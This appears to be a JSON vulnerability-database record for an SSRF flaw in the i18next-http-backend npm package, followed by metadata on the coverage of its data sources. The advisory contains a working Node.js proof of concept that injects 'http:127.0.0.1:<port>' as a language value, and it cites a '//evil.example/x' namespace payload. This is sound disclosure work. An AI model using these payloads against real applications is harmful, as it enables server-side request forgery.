{"id":"GHSA-xvq9-wjp8-hwqf","revision":null,"records":[{"revision":"bdf04555593c4f2aaff020c3eec3003d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-105800","aliases":[],"title":"i18next-http-backend incomplete URL validation permits SSRF","description":"i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL's structural beginning. This issue is fixed in version 4.0.2.","state":0,"publishedAt":"2026-10-06T14:48:05.267+00:00","modifiedAt":"2026-10-06T17:19:14.493+00:00","affected":[{"ecosystem":"Vendor product","name":"i18next-http-backend","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"i18next\",\n                    \"product\": \"i18next-http-backend\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.0.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":3.7,"severity":"LOW"}],"references":["https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf","https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85","https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-105800","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-105800","identifiers":["CVE-2026-105800"]},"retained":false,"historicalAffected":[]},{"revision":"3142f434211b45e1bfac18ea294b6097","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xvq9-wjp8-hwqf","aliases":["CVE-2026-105800"],"title":"i18next-http-backend incomplete URL validation permits SSRF","description":"There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.\n\nThis is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.\n\n## Proof of Concept\n\n```js\n// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.\nconst http = require(\"node:http\");\nconst Backend = require(\"i18next-http-backend\");\n\nfunction read(backend, lng, ns) {\n  return new Promise((resolve) => {\n    backend.read(lng, ns, (err) => resolve(err));\n  });\n}\n\nasync function main() {\n  let gotRequest = false;\n  const server = http.createServer((req, res) => {\n    gotRequest = req.url === \"/common.json\";\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(\"{}\");\n  });\n\n  await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n  const backend = new Backend(null, { loadPath: \"{{lng}}/{{ns}}.json\" });\n  const lng = `http:127.0.0.1:${server.address().port}`;\n\n  const err = await read(backend, lng, \"common\");\n  server.close();\n\n  const vulnerable = gotRequest && !err;\n  console.log(vulnerable ? \"VULNERABLE\" : \"SAFE\");\n  if (!vulnerable) process.exitCode = 1;\n}\n\nmain();\n```\n\nRun:\n\n```bash\nnpm install --ignore-scripts\nnode poc.js\n```\n\nThe expected result is:\n\n```text\nVULNERABLE\n```\n\n## Why the Previous Patch Was Incomplete\n\nThis vulnerability is caused by an incomplete patch for [CVE-2026-41691](https://github.com/advisories/GHSA-q89c-q3h5-w34g). The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.\n\nThe following bypass remains in the current release: lng=http:127.0.0.1:<port> with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.\n\n## Impact\n\nThe attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.\n\n## Recommended Fix\n\nParse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.\n\nPlease let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).\n\n**Preconditions.** The bypass only works when the `loadPath` / `addPath` template *begins* directly with `{{lng}}` or `{{ns}}` — no origin and no leading `/`, e.g. `{{lng}}/{{ns}}.json`. Only in that position is `http:` parsed as a URL scheme. The default `/locales/{{lng}}/{{ns}}.json` and every template with a leading path or origin are **not** affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an `ns` value such as `//evil.example/x` to become a protocol-relative URL in browsers.\n\n**Fix.** `:` is now rejected in both `lng` and `ns` values, and `//` in `ns` values. No BCP-47 language code contains a colon, and `:` is i18next's default namespace separator, so no usable namespace name does either.\n\n**Affected range.** Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is `< 4.0.2` rather than `>= 3.0.5, <= 4.0.1`.","state":0,"publishedAt":"2026-10-06T15:33:33+00:00","modifiedAt":"2026-10-24T02:56:54.2657591+00:00","affected":[{"ecosystem":"npm","name":"i18next-http-backend","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf","https://nvd.nist.gov/vuln/detail/CVE-2026-105800","https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85","https://github.com/i18next/i18next-http-backend","https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2"],"sourceUrl":"https://github.com/advisories/GHSA-xvq9-wjp8-hwqf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xvq9-wjp8-hwqf","identifiers":["GHSA-xvq9-wjp8-hwqf","CVE-2026-105800"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-24T15:17:08.9761822+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-24T15:17:08.9761822+00:00","lastSuccessAt":"2026-10-24T15:17:09.2626898+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:09.262691+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9b3cad78792c7367da03684feab05819ddebc4d137048bdbbdabdbb4d2879391-7a04c439aeffdd7655ca9af0bd8f420ff1a078ed0e92d57374aaa2f9190d3c7d","complete":true,"records":413900,"lastAttemptAt":"2026-10-24T15:17:08.454786+00:00","lastSuccessAt":"2026-10-24T15:17:08.436784+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.454786+00:00","snapshotPublishedAt":"2026-10-24T14:25:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4fc86d8004dc4b77b9030efc0b199663","complete":false,"records":969,"lastAttemptAt":"2026-10-24T15:23:40.8780251+00:00","lastSuccessAt":"2026-10-24T15:23:40.8970232+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:23:40.8970232+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-24T15:17:08.9761822+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-24T15:17:08.9761822+00:00","lastSuccessAt":"2026-10-24T15:17:09.2638665+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:09.263867+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-48085efb83ec4328a47b92a6601bd322","complete":false,"records":1472,"lastAttemptAt":"2026-10-24T15:17:34.4685953+00:00","lastSuccessAt":"2026-10-24T15:17:34.465+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:34.465+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":1500,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-24T15:17:08.8152763+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.8152763+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-24T15:17:08.613299+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.613299+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-24T15:17:08.9312899+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.9312899+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-01c673643721642d348dd2cebd6ec154e69bb7cd20a86eeae91240dc3610a60f","complete":true,"records":230735,"lastAttemptAt":"2026-10-24T15:17:08.7132737+00:00","lastSuccessAt":"2026-10-24T13:19:32.2429544+00:00","error":null,"lastVerifiedAt":"2026-10-24T15:17:08.7132737+00:00","snapshotPublishedAt":"2026-10-24T04:48:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}